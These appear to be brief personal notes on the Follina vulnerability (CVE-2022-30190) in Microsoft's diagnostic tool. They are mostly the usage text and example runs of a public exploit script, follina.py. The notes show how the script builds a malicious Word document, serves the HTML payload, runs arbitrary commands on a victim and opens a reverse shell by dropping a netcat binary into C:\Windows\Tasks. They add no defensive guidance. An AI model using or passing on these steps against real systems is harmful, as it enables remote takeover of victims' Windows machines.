Notes related to CVE-2022-30190
FOLLINA: CVE-2022-30190
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Uses Microsoft Support Diagnostic Tool (MSDT)
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Exploits diagnostic window opened for Diagnosis and when executed properly, gives reverse shell to attacker.
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Github: (a). https://github.com/JohnHammond/msdt-follina (b). https://github.com/chvancooten/follina.py
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Thanks to: (a). @_johnhammond (b). @networkchuck
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Usage follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT] options: -h, --help show this help message and exit --command COMMAND, -c COMMAND command to run on the target (default: calc) --output OUTPUT, -o OUTPUT output maldoc file (default: ./follina.doc) --interface INTERFACE, -i INTERFACE network interface or IP address to host the HTTP server (default: eth0) --port PORT, -p PORT port to serve the HTTP server (default: 8000)
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Examples (a). Pop calc.exe: $ python3 follina.py
[+] copied staging doc /tmp/9mcvbrwo [+] created maldoc ./follina.doc [+] serving html payload on :8000 (b). Pop notepad.exe: $ python3 follina.py -c "notepad" (c). Get a reverse shell on port 9001. Note, this downloads a netcat binary onto the victim and places it in C:\Windows\Tasks. It does not clean up the binary. This will trigger
antivirus detections unless AV is disabled. $ python3 follina.py -r 9001